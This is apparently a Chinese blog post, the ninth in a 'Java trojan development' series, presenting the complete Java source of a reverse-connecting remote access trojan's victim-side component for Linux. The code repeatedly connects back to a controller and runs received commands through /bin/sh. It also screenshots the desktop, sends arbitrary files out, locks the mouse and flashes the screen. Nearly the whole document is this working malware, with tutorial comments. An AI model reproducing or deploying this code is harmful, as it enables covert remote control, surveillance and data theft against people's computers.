java 木马开发(9)---服务端 完结 完整代码

/*
 *  目标电脑操作系统是LINUX时 调用此模块   

 *  反弹木马 由服务端主动连接客户端

windows环境下的木马服务端与linux类似,需要改动的地方主要是路径及调用cmd来执行命令响应

 */
 
 
import java.awt.AWTException;
import java.awt.Color;
import java.awt.FlowLayout;
import java.awt.Font;
import java.awt.Graphics;
import java.awt.Image;
import java.awt.MouseInfo;
import java.awt.Point;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.image.BufferedImage;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.LineNumberReader;
import java.net.ConnectException;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.Socket;
import java.net.UnknownHostException;
import java.util.Enumeration;
 
import javax.imageio.ImageIO;
 
import javax.swing.JButton;
import javax.swing.JDialog;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JPasswordField;
import javax.swing.JTextField;
 
public class ServerLin {
    // 开启Socket 连接的哨兵
    boolean link = false;
    //Robot类的哨兵 Robot类实现抓屏
    boolean end=false;
    Socket socket;
    String osName;
    DataInputStream dis;
    DataOutputStream dos;
    String commendString;
    Process process;
    Runtime r = Runtime.getRuntime();
    BufferedReader bufferedReader;
    BufferedImage bi;
    Robot robot;
 
    MouseLockThread mouseLockThread;
    int time[] = { 5000, 120000, 300000 }, timeSel = 0;
 
    public ServerLin(String str) {
        //传入操作系统名字
        this.osName = str;    
        while (!link) {    
            try {
                
                Thread.sleep(5000);  //每隔5秒  
                
                
                //指定socketServer IP地址和socketServer 监听端口
                //如果与控制端的连接没有建立 会抛出Connection refused 例外
                socket = new Socket("127.0.0.1", 1220);
                //sock哨兵 不在重复创建连接   
                link = true;
 
                System.out.println("***Client is already on the line***");
            } catch (ConnectException e1) {
                
                // 连接被拒绝后跳到此处   
                System.out.println("Listen every 5 seconds.");
                //重新建立连接 直到建立连接为止   
                continue;
                // e1.printStackTrace();
            } catch (InterruptedException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (UnknownHostException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
        }
        //连接成功建立后  开始建立
        try {
            //获得输入流
            dis = new DataInputStream(socket.getInputStream());
            //获得输出流
            dos = new DataOutputStream(socket.getOutputStream());
            //将何种操作系统传到控制端
            dos.writeUTF(osName);
        } catch (IOException e2) {
            // TODO Auto-generated catch block
            e2.printStackTrace();
        }
  //不断循环接收指令  知道end 变量为true
        while (!end) {
 
            try {
                //创建Robot对象  后面用来截屏
                robot = new Robot();
            } catch (AWTException e) {
                e.printStackTrace();
            }
            //非常重要的函数,获取控制端传过来的命令,根据命令调用功能函数
            takeOrder();
        }
    }
//不断的循环接收控制端传来的指令,并根据指令进行判断,到达不同的控制流
    void takeOrder() {
        while (true) {
            
            try {
                commendString = dis.readUTF().trim();
                //如果前缀是exit 则退出while循环  关闭输入输出流
                if (commendString.startsWith("exit")) {
                    end = true;
                    dis.close();
                    dos.close();
                    break;
 
                }
            } catch (IOException e) {
                //接收指令发生异常时,则退出while循环  关闭输入输出流
                System.out.println("leave");
                end = true;
                try {
                    dis.close();
                    dos.close();
                } catch (IOException e1) {
                    // TODO Auto-generated catch block
                    e1.printStackTrace();
                }
 
                break;
            }
           //判断接收的指令  如果是以-d youarehacked 开头,服务端会弹出一个对话框,
            if (commendString.startsWith("-d ")) {
                
                
                                                            
                    try {
                        commendString = commendString.substring(3);
                    } catch (Exception ee) {
                        continue;
                    }
                    showDialog(commendString);//弹出一个对话框函数
                
            } else if (commendString.startsWith("-p")) {//如果命令是以-p开头,调用被控制端屏幕被截屏
                sendPic();   //截屏函数
            } else if (commendString.startsWith("down ")) {// 如果命令是以‘down ’开头,调用下载函数
                String strFile = commendString.substring(5);
                
                File file = new File(strFile);
                // File file = new File("e:\\a.txt");
 
                if (file.isFile())
 
                    downFile(strFile);//下载函数
 
            } else if (commendString.startsWith("-m ")) {// 如果命令是以‘-m ’开头,则被控制端机器鼠标被锁住
                try {
                    commendString = commendString.substring(3);
                } catch (Exception ee) {
                    continue;
                }
                mouseLock(commendString);  //鼠标锁住函数
            } else if (commendString.startsWith("-flash")) {  //如果命令是以‘-flash’开头,则被控制端机器闪屏
                try {
                    commendString = commendString.substring(6);
                } catch (Exception e) {
                    commendString = "";
                }
                new Flash(commendString); //闪屏函数
                //当前面判断没有执行时,windows将会调用cmd,linux调用shell
            } else {
                shellExe(commendString);   
            }
        }
    }
 
    
 
    /* display password dialog */
    
 
 
    
 
    /* 锁住鼠标函数  
     * 接收l参数 启动鼠标锁定线程
     * 接收a 停止鼠标锁定线程
     * */
    void mouseLock(String s) {
        if (s.equals("l")) {    
            if (mouseLockThread == null || mouseLockThread.isAlive() == false) {
                mouseLockThread = new MouseLockThread();
                mouseLockThread.flag = true;
                mouseLockThread.start();
            }
        } else if (s.equals("a")) {
            mouseLockThread.flag = false;
        }
    }
    /* shell */
//java在linux环境下调用平台shell去执行输入的指令参数 cmd 指令  
    void shellExe(String cmd) {
        try {
            String[] cmdA = { "/bin/sh", "-c", cmd };  //cmd是需要执行命令
            Process process = Runtime.getRuntime().exec(cmdA); //调用linux shell,执行命令 返回一个进程
            //获得命令执行的结果
            LineNumberReader br = new LineNumberReader(new InputStreamReader(process.getInputStream()));
            dos.writeUTF("1start"); //命令返回开始标识
            // StringBuffer sb = new StringBuffer();
            String line;
            while ((line = br.readLine()) != null) {
                line = line.trim();
                dos.writeUTF(line);//将结果返回到控制端
                // System.out.println(line);
                // sb.append(line).append("\n");
            }
 
            dos.writeUTF("1end");命令返回结束标识
            // return sb.toString();
        } catch (Exception e) {
            e.printStackTrace();
        }
        // return null;
    }
 
    //截屏函数
    void sendPic() {
        
        /* Rectangle指定坐标空间中的一块区域 从左上角(0,0)开始,
         * 然后用Toolkit函数获得本机系统的屏幕宽度和高度,这里是取得全屏的尺寸。
        */
        //使用Robot类获取屏幕 返回BufferedImage对象,利用这个对象可以很方便的对图像进行操作
        BufferedImage bi = robot.createScreenCapture(new Rectangle(0, 0,
                Toolkit.getDefaultToolkit().getScreenSize().width, Toolkit.getDefaultToolkit().getScreenSize().height));
        //将图像装到字节数组中
        byte[] imageData = getCompressedImage(bi);
        if (imageData != null) {   
            try {
                dos.writeUTF("2start"); //告诉控制端将要传输截屏图像了
                dos.writeInt(imageData.length);  //告诉控制端将要传输的图像的大小
                dos.write(imageData);//开始传输截屏图像
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
 
//下载文件   将要传输的文件构建成文件输入流,然后创建一个临时字节数组,不断的读取文件输入流
//同时将临时字节数组存入字节数组缓冲区,最后将字节数组缓冲区转化为字节数组传给控制端。
 
    void downFile(String fileAbsolutePath) {
        //注意这里要输入文件的绝对路径
        File file = new File(fileAbsolutePath);
 
        FileInputStream fis = null;
        //在内存中创建一个字节数组缓冲区
        ByteArrayOutputStream out = new ByteArrayOutputStream();
 
        try {
            fis = new FileInputStream(file); //创建一个文件输入流
        } catch (FileNotFoundException e1) {
            // TODO Auto-generated catch block
 
            e1.printStackTrace();
 
        }
    
        byte[] b = new byte[1024]; //构建1k字节长度的数组
        int n;
        try {
            //从文件输入流中读入b.length字节长度的数据到b数组中,返回读入的字节数
            while ((n = fis.read(b)) != -1) {   
                //将b数组从0位置开始,长度是n的数据写入到字节数组缓冲区
                out.write(b, 0, n);
            }
 
            if (out != null) {
                  
                dos.writeUTF("3start");//告诉控制端将要传输文件了
                dos.writeUTF(file.getName());//告诉控制端将要传输的文件名字
                dos.writeInt(out.toByteArray().length);//告诉控制端将要传输的文件大小
                dos.write(out.toByteArray());//开始传输
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
 
    }
 
    
 
    void showDialog(String s) {
        new ShowDialogThread(s).start();  //启动一个线程
    }
 
    //将图像装到字节数组中
    public byte[] getCompressedImage(BufferedImage image) {
        byte[] imageData = null;
        try {
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            //将生成的图像以jpg格式,写入到字节数组输出流
            ImageIO.write(image, "jpg", baos);
            //创建字节数组
            imageData = baos.toByteArray();
        } catch (IOException ex) {
            imageData = null;
        }
        return imageData;
    }
 
    
    //线程类  采用的方式是继承Thread类
    class ShowDialogThread extends Thread {   
        String info;
 
        public ShowDialogThread(String s) {  //构造函数接收需要显示的参数
            this.info = s;
        }
 
        public void run() {
            JOptionPane.showMessageDialog(null, info);  //弹出对话框
        }
    }
    
     //开一个线程
    class MouseLockThread extends Thread {
        boolean flag = false; //创建一个监控哨兵
 
        public void run() {
            Point p = MouseInfo.getPointerInfo().getLocation();//获取鼠标目前的位置
            while (flag) {  //哨兵为真时,一直循环
                try {
                    Thread.sleep(1);
                    robot.mouseMove(p.x, p.y);  //移动鼠标到当前位置
                } catch (InterruptedException e) {
                    e.printStackTrace();
                }
            }
        }
    }
 
 
    
    
    
 
    //闪屏函数
    class Flash {
        JFrame frame;
        JPanel pane;
        Color c[] = { Color.pink, Color.white, Color.blue };
        int i;
        Image offScreenImage = null;
        String msg;
 
        public Flash(String s) {
            msg = s;
            //使用Toolkit.getDefaultToolkit()获取本地主机资源,这里获取了屏幕宽和高
            final int width = Toolkit.getDefaultToolkit().getScreenSize().width;
            final int height = Toolkit.getDefaultToolkit().getScreenSize().height;
            //创建一个大小与屏幕相等的窗体,并设置在其它窗体上面
            frame = new JFrame();
            frame.setAlwaysOnTop(true);
            frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
            frame.setUndecorated(true);
            frame.setBounds(0, 0, width, height);
            //在面板中绘制与屏幕大小相同的图像
            pane = new JPanel() {
                public void paint(Graphics g) {
                    if (offScreenImage == null) {
                        offScreenImage = this.createImage(width, height);
                    }
                    //处理屏幕显示的图像,包括颜色,显示的字符串等
                    Graphics gg = offScreenImage.getGraphics();
                    gg.setFont(new Font(null, Font.PLAIN, 50));
                    gg.setColor(c[i]);
                    gg.fillRect(0, 0, width, height);
                    gg.setColor(Color.black);
                    gg.drawString(msg, 200, 50);   
                    g.drawImage(offScreenImage, 0, 0, null);
                }
            };
            frame.setContentPane(pane);
            frame.setVisible(true);
            //
            new Thread() {
                public void run() {
                    int time = 0;
                    while (i < c.length) {
                        Flash.this.myUpdate();
                        try {
                            Thread.sleep(50);
                            time++;
                            if (time == 100) {
                                frame.dispose();
                                break;
                            }
                        } catch (InterruptedException e) {
                            e.printStackTrace();
                        }
                    }
                }
            }.start();
        }
 
        public void myUpdate() {
            if (i == c.length - 1) {
                i = 0;
            } else {
                i++;
            }
            pane.repaint();
        }
    }
 
    
    
    
 
}


你可能感兴趣的:(java)